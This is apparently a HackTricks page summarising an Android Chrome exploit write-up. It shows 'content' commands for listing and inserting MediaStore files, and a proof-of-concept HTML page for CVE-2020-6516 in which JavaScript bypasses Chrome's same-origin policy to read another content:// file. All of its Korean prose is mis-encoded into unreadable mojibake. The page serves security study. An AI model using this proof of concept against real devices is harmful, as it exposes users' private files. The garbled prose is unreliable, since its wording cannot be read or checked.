Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด๊ฒ์ ๊ฒ์๋ฌผ์ ์์ฝ์ ๋๋ค https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
๋ฏธ๋์ด ์ ์ฅ์์ ํ์ผ ๋์ด
๋ฏธ๋์ด ์ ์ฅ์์์ ๊ด๋ฆฌ๋๋ ํ์ผ์ ๋์ดํ๋ ค๋ฉด ์๋ ๋ช ๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
$ content query --uri content://media/external/file
๊ฐ ์ธ๋ฑ์ค ํ์ผ์ ์๋ณ์์ ๊ฒฝ๋ก๋ง ํ์ํ์ฌ ๋ณด๋ค ์ธ๊ฐ ์นํ์ ์ธ ์ถ๋ ฅ์ ์ํด:
$ content query --uri content://media/external/file --projection _id,_data
์ฝํ
์ธ ์ ๊ณต์๋ ์์ ์ ๊ฐ์ธ ๋ค์์คํ์ด์ค์ ๊ฒฉ๋ฆฌ๋์ด ์์ต๋๋ค. ์ ๊ณต์์ ๋ํ ์ก์ธ์ค๋ ํน์ content:// URI๋ฅผ ์๊ตฌํฉ๋๋ค. ์ ๊ณต์์ ์ ๊ทผํ๊ธฐ ์ํ ๊ฒฝ๋ก์ ๋ํ ์ ๋ณด๋ ์ ํ๋ฆฌ์ผ์ด์
๋งค๋ํ์คํธ ๋๋ Android ํ๋ ์์ํฌ์ ์์ค ์ฝ๋์์ ์ป์ ์ ์์ต๋๋ค.
Chrome์ ์ฝํ ์ธ ์ ๊ณต์ ์ ๊ทผ
Android์ Chrome์ content:// ์คํด์ ํตํด ์ฝํ
์ธ ์ ๊ณต์์ ์ ๊ทผํ ์ ์์ด, ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์
์์ ๋ด๋ณด๋ธ ์ฌ์ง์ด๋ ๋ฌธ์์ ๊ฐ์ ๋ฆฌ์์ค์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ค๋ช
ํ๊ธฐ ์ํด, ํ์ผ์ ๋ฏธ๋์ด ์ ์ฅ์์ ์ฝ์
ํ ๋ค์ Chrome์ ํตํด ์ ๊ทผํ ์ ์์ต๋๋ค:
๋ฏธ๋์ด ์ ์ฅ์์ ์ฌ์ฉ์ ์ ์ ํญ๋ชฉ ์ฝ์ :
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
์๋ก ์ฝ์ ๋ ํ์ผ์ ์๋ณ์๋ฅผ ๋ฐ๊ฒฌํ์ญ์์ค:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
ํ์ผ์ ํ์ผ์ ์๋ณ์๋ก ๊ตฌ์ฑ๋ URL์ ์ฌ์ฉํ์ฌ Chrome์์ ๋ณผ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ํน์ ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ๊ด๋ จ๋ ํ์ผ์ ๋์ดํ๋ ค๋ฉด:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
๋์ผ ์ถ์ฒ ์ ์ฑ
(SOP)์ ๋ธ๋ผ์ฐ์ ์์ ์๋ก ๋ค๋ฅธ ์ถ์ฒ์ ๋ฆฌ์์ค์ ์ํธ์์ฉํ๋ ๊ฒ์ ์ ํํ๋ ๋ณด์ ํ๋กํ ์ฝ๋ก, Cross-Origin-Resource-Sharing (CORS) ์ ์ฑ
์ ์ํด ๋ช
์์ ์ผ๋ก ํ์ฉ๋์ง ์๋ ํ ํ์ฉ๋์ง ์์ต๋๋ค. ์ด ์ ์ฑ
์ ์ ๋ณด ์ ์ถ ๋ฐ ๊ต์ฐจ ์ฌ์ดํธ ์์ฒญ ์์กฐ๋ฅผ ๋ฐฉ์งํ๋ ๊ฒ์ ๋ชฉํ๋ก ํฉ๋๋ค. Chrome์ content://๋ฅผ ๋ก์ปฌ ์คํด์ผ๋ก ๊ฐ์ฃผํ์ฌ, ๊ฐ ๋ก์ปฌ ์คํด URL์ด ๋ณ๋์ ์ถ์ฒ๋ก ์ทจ๊ธ๋๋ ๋ ์๊ฒฉํ SOP ๊ท์น์ ์๋ฏธํฉ๋๋ค.
๊ทธ๋ฌ๋ CVE-2020-6516์ content:// URL์ ํตํด ๋ก๋๋ ๋ฆฌ์์ค์ ๋ํ SOP ๊ท์น์ ์ฐํํ ์ ์๋ Chrome์ ์ทจ์ฝ์ ์ด์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, content:// URL์ JavaScript ์ฝ๋๋ ๋ค๋ฅธ content:// URL์ ํตํด ๋ก๋๋ ๋ฆฌ์์ค์ ์ ๊ทผํ ์ ์์์ผ๋ฉฐ, ์ด๋ ํนํ Android 10 ์ด์ ๋ฒ์ ์์ ๊ตฌํ๋์ง ์์ ๋ฒ์ ์ ์ฅ์๋ฅผ ์คํํ๋ Android ์ฅ์น์์ ์ค์ํ ๋ณด์ ๋ฌธ์ ์์ต๋๋ค.
์๋์ ๊ฐ๋
์ฆ๋ช
์ ์ด ์ทจ์ฝ์ ์ ๋ณด์ฌ์ฃผ๋ฉฐ, /sdcard ์๋์ ์
๋ก๋๋๊ณ ๋ฏธ๋์ด ์ ์ฅ์์ ์ถ๊ฐ๋ HTML ๋ฌธ์๊ฐ JavaScript์์ XMLHttpRequest๋ฅผ ์ฌ์ฉํ์ฌ ๋ฏธ๋์ด ์ ์ฅ์์ ๋ค๋ฅธ ํ์ผ ๋ด์ฉ์ ์ ๊ทผํ๊ณ ํ์ํ์ฌ SOP ๊ท์น์ ์ฐํํ๋ ๋ฐฉ์์
๋๋ค.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


